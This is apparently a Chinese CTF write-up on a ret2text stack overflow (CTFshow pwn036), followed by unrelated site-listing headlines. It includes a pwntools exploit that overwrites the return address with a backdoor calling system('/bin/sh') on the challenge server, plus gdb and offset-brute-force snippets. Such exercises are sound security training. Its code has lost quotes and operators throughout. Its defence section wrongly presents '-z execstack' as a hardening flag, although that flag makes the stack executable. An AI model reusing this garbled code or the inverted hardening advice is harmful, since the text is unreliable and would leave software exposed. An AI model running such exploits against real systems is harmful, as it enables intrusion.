CTF栈溢出实战:Ret2Text攻击技术与后门函数利用
1. 题目背景与核心概念解析这道来自CTFshow平台的pwn036题目是典型的栈溢出利用场景主要考察Ret2TextReturn to Text攻击技术和后门函数利用能力。在CTF竞赛中这类基础题型出现频率高达60%以上是二进制安全的必修课。栈溢出漏洞的本质是程序向栈上写入数据时没有正确检查边界导致覆盖了函数的返回地址。当函数执行ret指令时处理器会把这个被篡改的地址加载到EIP/RIP寄存器从而控制程序执行流。Ret2Text则是利用程序中已有的代码片段如后门函数来达到攻击目的相比Ret2Libc等复杂技术它不需要泄漏libc地址实现起来更加直接。关键点栈结构在x86和x64架构下有所不同。x86参数通过栈传递x64前六个参数使用寄存器RDI, RSI, RDX, RCX, R8, R9。这在构造payload时需要特别注意。2. 环境准备与初步分析2.1 题目文件检查首先用file命令查看二进制文件属性$ file pwn036 pwn036: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]..., not stripped关键信息32位ELF文件意味着使用栈传参动态链接但未去除符号方便逆向分析未strip保留函数名等调试信息用checksec检查安全机制$ checksec --filepwn036 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)安全机制解读无栈保护Canary可直接栈溢出开启NX栈不可执行需用ROP或已有代码无PIE代码段地址固定后门函数地址确定2.2 逆向工程分析使用Ghidra或IDA进行反编译关键函数伪代码如下void vulnerable_function() { char buffer[64]; gets(buffer); // 明显的栈溢出漏洞 puts(buffer); } int main() { vulnerable_function(); return 0; } // 隐藏的后门函数 void backdoor() { system(/bin/sh); }漏洞点分析gets()函数读取输入时不检查长度可覆盖返回地址buffer长度64字节但输入更长数据会覆盖栈帧存在未调用的backdoor函数地址通常为0x8048xxx3. 漏洞利用实战3.1 计算偏移量在32位系统中覆盖返回地址需要计算buffer到ebp的距离buffer起始地址ebp - 0x48通过反编译确定保存的ebp占4字节返回地址在ebp4因此偏移量 0x48 4 76字节验证方法from pwn import * p process(./pwn036) payload cyclic(100) p.sendline(payload) p.wait() # 用dmesg或gdb查看崩溃时eip的值 eip cyclic_find(0x6161616c) # 示例值 print(fOffset: {eip})3.2 构造payload利用思路填充76字节垃圾数据覆盖返回地址为backdoor函数地址触发shell获取获取backdoor地址$ objdump -d pwn036 | grep backdoor 0804856b backdoor:完整expfrom pwn import * context(archi386, oslinux) backdoor_addr 0x0804856b payload bA*76 p32(backdoor_addr) # 本地测试 # p process(./pwn036) # 远程连接 p remote(pwn.challenge.ctf.show, 12345) p.sendline(payload) p.interactive()3.3 利用技巧进阶地址处理小端序转换必须使用p32()函数遇到坏字符如\x00需要调整payload栈对齐问题某些系统要求16字节栈对齐可在返回地址后加ret指令地址调整通用gdb调试命令gdb ./pwn036 -q b *vulnerable_function25 # 在ret指令处断点 r (python3 -c print(A*76 \x6b\x85\x04\x08)) x/30wx $esp # 查看栈内存4. 防御措施与变种题型4.1 如何防御Ret2Text编译时添加保护gcc -fstack-protector-all -z execstack -o safe safe.c代码层面使用fgets代替gets增加长度检查关键函数地址随机化ASLR4.2 常见变种题型后门函数需要参数void backdoor(int key) { if(key 0x12345678) system(/bin/sh); }解决方案构造ROP链传递参数部分覆盖只能覆盖返回地址的低1-2字节需要精确计算地址页对齐结合格式化字符串先泄漏backdoor地址再进行栈溢出5. 实战经验分享输入输出处理# 推荐使用pwntools的send/recv方法 p.sendlineafter(b , payload) # 等待特定提示再发送 p.recvuntil(bHello) # 接收直到特定字符串自动化测试脚本def test_offset(start, end): for i in range(start, end): try: p process(./pwn036) p.sendline(bA*i bBBBB) p.recv(timeout1) print(fSuccess at {i}) return i except: continue常见错误忘记切换远程/本地模式地址字节序错误栈空间计算错误x86 vs x64未处理程序的标准输入输出通过这道题我们系统掌握了栈溢出和Ret2Text的基本原理。在实际CTF比赛中遇到类似题目时应该快速识别漏洞类型分析防护机制定位可利用的代码片段精确计算偏移量构造稳定payload建议延伸学习方向Ret2Libc技术ROP链构造堆溢出利用现代防护机制绕过

相关新闻

Ubuntu系统资源监控实战:从CPU、内存到网络的全面排查指南

Ubuntu系统资源监控实战:从CPU、内存到网络的全面排查指南

1. 引言:为什么你需要掌握系统资源监控如果你在Ubuntu上跑过服务、部署过应用,或者仅仅是觉得电脑突然变慢了,那你大概率遇到过这样的场景:终端里敲命令,响应慢得像在爬;浏览器开几个标签页,风扇…

2026/10/18 4:34:17 阅读更多 →
深入理解MBR:计算机启动原理与512字节引导程序编写实战

深入理解MBR:计算机启动原理与512字节引导程序编写实战

1. 从零到一:理解MBR与计算机启动的“第一声啼哭”当你按下电脑的电源键,屏幕从一片漆黑到亮起Logo,再到进入熟悉的操作系统界面,这背后是一场精密而有序的接力赛。而这场接力赛的第一棒,就是我们今天要深入探讨的主角…

2026/10/17 22:02:18 阅读更多 →
Web服务器配置安全实战:从Nginx/Apache加固到运维规范

Web服务器配置安全实战:从Nginx/Apache加固到运维规范

1. 从一次“意外”宕机说起:为什么配置安全不是小事 去年,我负责维护的一个内部业务系统在凌晨三点突然挂了。不是代码bug,也不是服务器硬件故障,更不是网络攻击。排查了一圈,最后定位到是Nginx的 worker_processes …

2026/10/18 4:35:32 阅读更多 →

最新新闻

SpringBoot+Vue健身房管理系统设计与实现全解析

SpringBoot+Vue健身房管理系统设计与实现全解析

1. 项目概述与业务价值拆解1.1 这个管理系统到底解决什么问题先说结论:健身房管理系统是目前JavaWeb毕设里性价比极高的一类选题。它不像电商系统那样业务链路冗长,也不像纯后台管理系统那样缺乏亮点,而是处在一个恰到好处的位置——业务逻辑…

2026/10/18 6:31:52 阅读更多 →
PCL点云识别实战:从FPFH特征到6自由度位姿估计

PCL点云识别实战:从FPFH特征到6自由度位姿估计

做点云处理的人迟早会遇到一个尴尬局面:模型库里的三维点云有鼻子有眼,可面对桌面上一堆散乱摆放的真实物体,程序死活认不出哪个是目标。PCL的Recognition模块,就是在这类场景里做点云识别的“工具箱”。它的目标很直白&#xff1…

2026/10/18 6:31:52 阅读更多 →
让 AI 接管电脑重复工作:OpenClaw 从解压到指令测试全流程接入 TaoToken

让 AI 接管电脑重复工作:OpenClaw 从解压到指令测试全流程接入 TaoToken

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 6:31:52 阅读更多 →
超图三维GIS平台实战:从PPT课件到可运行三维场景的完整链路

超图三维GIS平台实战:从PPT课件到可运行三维场景的完整链路

简介:这份PPT课件面向GIS专业学生、三维开发人员及技术选型决策者,系统讲解SuperMap Realspace二三维一体化三维GIS平台。内容从2005年Google Earth掀起的三维热潮切入,剖析三维GIS“好看却难用”的应用困境,梳理CAD到GIS的演替脉…

2026/10/18 6:31:52 阅读更多 →
一篇万字热帖说通行密钥是“陷阱“,我拿两个本地域名实测了域名绑定

一篇万字热帖说通行密钥是“陷阱“,我拿两个本地域名实测了域名绑定

文章目录 📖 介绍 📖 🏡 演示环境 🏡 🔑 从争论到实测:凭据的域名归属 🔑 🧭 先把这场争论还原出来 🎯 域名绑定:把凭据从一个源搬到另一个源会发生什么 🗂️ 凭据在认证器里到底长什么样 🧪 一个坑:认证器的两个小门槛 🧾 支持"更安全"那一…

2026/10/18 6:31:52 阅读更多 →
Servlet+JSP+MySQL:手把手拆解经典Java Web新闻发布系统

Servlet+JSP+MySQL:手把手拆解经典Java Web新闻发布系统

简介:基于Java Servlet、JSP和MySQL的Web新闻发布系统源码,适合正在学习Java Web开发的初学者,以及需要课程设计或毕业设计参考的学生。项目采用MVC分层模式,实现了新闻的发布、编辑、删除和展示,还包含用户登录认证、…

2026/10/18 6:30:52 阅读更多 →

日新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 0:55:02 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/17 17:22:31 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 14:23:36 阅读更多 →